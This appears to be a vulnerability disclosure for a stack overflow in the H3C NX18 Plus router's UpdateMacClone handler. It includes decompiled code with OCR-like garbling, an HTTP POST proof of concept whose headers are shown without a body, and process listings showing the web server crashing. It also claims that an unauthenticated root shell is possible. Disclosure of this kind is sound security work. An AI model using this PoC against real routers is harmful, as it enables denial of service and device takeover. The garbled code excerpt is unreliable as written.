

stack overflow vulnerability

Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d_202103/1389284_30005_0.htm

Product Information

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview:



Vulnerability details

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the UpdateMacClone function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
1 int __fastcall sub_419254(int a1)
     const char *v2; // $s0
  4 size_t v3; // $s3
  5 int v4; // $v0
  6 int result; // $v0
  7 size_t v6; // $s3
  8 const char *v7; // $s0
  9 size_t v8; // $s3
 10 size_t v9; // $s3
 11 const char *v10; // $s0
 12 int v11; // $v0
 13 size_t v12; // $s3
 14 int v13; // $a0
 15 char <u>v14[512]</u>; // [sp+18h] [-248h] BYREF
 16 char /15[64]; // [sp+218h] [-48h] BYREF
 17 int v<del>16; // [</del>sp+258h] [-8h] BYREF
 18 int v17; // [sp+25Ch] [-4h] BYREF
 19
     strcpy(v14, "param");
20

  21  v2 = (const char *)websgetvar(a1. v14. ""):
     if ((int)strlen(v2) >= 0x200)
22
23
        return -2;
24
     IF_GatByPseudoNameDomain("WAN1", 0, &v17);
      IF GetBvPseudoNameDomain("WAN2", 0, &v16);
25
     sscanf(\v2, "%s", \v15);
```

In the UpdateMacClone function, the param we entered is formatted using the sscanf function and in the form of %s. This greedy matching mechanism is unsafe. As long as the size of the data we enter is greater than the size of V15 and less than 0x200, it will lead to stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: https://121.226.152.63:8443/router password mobile.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 536
Origin: https://192.168.124.1:80
DNT: 1
Connection: close
Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

```
1/93 *root 820 S /btn/dhcpd -d -q br0

1842 *root 1692 S upnpd /var/run/upnp_385875969 br0 WAN1

7167 *root SW [kworker/u8:0]

7457 *root SW [kworker/1:1]

8622 *root SW [kworker/u8:1]

8920 *root SW [kworker/u8:1]

8920 *root SW [kworker/1:0]

8927 *root SW [kworker/2:1]

9112 *root 760 S -mwcli

9125 *root 1572 S /bin/sh

9128 *root SW [kworker/0:0]

9153 *root SW [kworker/0:0]

9251 *root SW [kworker/3:0]

9251 *root SW [kworker/3:2]

9731 *root 5168 S /bin/webs &

9931 *root 5168 S /bin/webs &

9931 *root 764 R ps

26984 *root 1040 S telnetd

/ #
```


The picture above shows the process information before we send poc.

```
1842 *root 1692 S upnpd /var/run/upnp_385875969 br0 WAN1
7167 *root SW [kworker/u8:0]
7457 *root SW [kworker/1:1]
8622 *root SW [kworker/u8:1]
8920 *root SW [kworker/1:0]
8927 *root SW [kworker/2:1]
9112 *root 760 S -mwcli
9125 *root 1572 S /bin/sh
9128 *root SW [kworker/0:0]
9153 *root SW [kworker/3:0]
9251 *root SW [kworker/2:2]
9572 *root SW [kworker/0:1]
9594 *root SW [kworker/0:1]
9987 *root 4292 S /bin/webs &
9993 *root 704 R ps
26984 *root 1040 S telnetd
/ #
```

In the picture above, we can see that the PID has changed since we sent the POC.



The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.